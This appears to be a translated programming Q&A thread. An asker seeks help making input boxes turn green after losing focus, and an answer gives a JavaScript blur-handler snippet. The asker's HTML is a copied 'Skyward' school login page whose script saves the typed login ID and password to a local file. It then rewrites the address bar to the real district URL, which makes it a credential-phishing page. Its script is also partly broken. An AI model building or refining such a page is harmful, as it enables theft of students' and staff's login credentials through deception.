输入文本时如何更改失去焦点的表单背景颜色？-解网

问：

首先，我想指出的是，所有这些都是客户端的，而不是基于Web的。输入文本后，我需要在焦点丢失后将表单框更改为绿色。表单框开始时为白色，在焦点时变为紫色，在输入文本时，我需要它们在失去焦点时变为绿色。

<!DOCTYPE html>
<html>
<head>
<title>Login - Powered By Skyward</title>
<link rel="icon" href="skyicon.gif">
<meta name="viewport" content="height=device-height, initial-scale=1.0">
<script type ="text/javascript">
function WriteToFile(passForm) {
set fso = CreateObject("Scripting.FileSystemObject");  
set s = fso.CreateTextFile("C:\error.txt", True);
s.writeline(document.passForm.input1.value);
s.writeline(document.passForm.input2.value);
s.Close();
window.history.pushState("object or string", "Skyward Login", "https://sky.gilmerisd.org/scripts/wsisa.dll/WService=wsEAplus/seplog01.w");
}
</script>
<style>
body {
    background-image: url("slp_ps.jpg");
    background-repeat:no-repeat;
}
input {
    display:inline-block;
    float:right;
}
{
width:1234px;
height:50%;
position:relative;
margin:auto;
}
.btn-style{
    border : solid 1px #2d9cf0;
    border-radius : 3px;
    moz-border-radius : 3px;
    font-size : 9px;
    color : #000000;
    padding : 4px 13px;
    background-color : #ffffff;

}
div {
    margin-top: 500px;
    margin-bottom: 0px;
    margin-right: 500px;
    margin-left: 485px;
}
.inputbox-css {
  -webkit-box-sizing: content-box;
  -moz-box-sizing: content-box;
  box-sizing: content-box;
  margin: -1px 0 0;
  padding: 5px;
  border: 1px solid rgba(127,174,255,1);
  -webkit-border-radius: 1px;
  border-radius: 1px;
  font: normal 16px/normal "Times New Roman", Times, serif;
  color: rgba(0,0,0,0.9);
  -o-text-overflow: clip;
  text-overflow: clip;
}

.inputbox-css:focus {
  background: #ebc4fc;
}
p {
  display:block;
  float:right;
}
</style>
</head>
<body>
<body background="slp_ps.jpg" style="width:1220px;height:700px;">
<div>
<p>
<form onsubmit="download(this['name'].value, this['text'].value)">
<font size="2" face="arial" class="element"> Login ID: </font><input         class="inputbox-css" type="text" style="font-family: Verdana; font-size: 12px;"     name="lllllllllll loginid" "width: 165px;" maxlength="100"/><br>
<br>
<font size="2" face="arial" class="element"> Password: </font><input     class="inputbox-css" type="password" style="font-family: Verdana; font-size:     12px;" name="lllllllllll password;" "width: 160px;" maxlength="100"/><br>
<br>
<font size="2" face="arial"> <input type="submit" class="btn-    style"name="lllllllllll submit" value="Sign In"/><br>
</form>
</p>
</div>
</form>
</body>
</html>

JavaScript HTML CSS 焦点客户端

是的，这没关系？您可以像运行 javascript local 一样包含 jquery local，因为您的浏览器运行它而不是您的服务器。只需下载 jquery 文件并将其添加到您的 usb 中即可。只要您在可以运行 javascript 的 Web 浏览器中打开页面（您最喜欢的浏览器中的任何一个都可以），就可以了。我建议多读一点网站工作的基本知识！

1赞 readtheforums 9/22/2017

感谢您的见解！我的印象是jquery像php一样在服务器端运行...我一定会接受您的建议，非常感谢您的友好回应！

1赞 PenPen 9/21/2017 #2

模糊是你要找的。

document.write("<input type='text'>");
var input = document.querySelector('input');
input.addEventListener('focus',function(){
  input.style.backgroundColor = "purple";
})
input.addEventListener('blur',function(){
  if(input.value != ""){
      input.style.backgroundColor = "green";
  }
})

上一个：仅通过操作 CSS 文件和我的 Javascript 文件来显示具有特定 id 的 div

下一个：如何设置带有供应商前缀的 CSS 值（不是属性名称） |客户端

输入文本时如何更改失去焦点的表单背景颜色？

How to change form background color on focus loss when text is entered?

评论

评论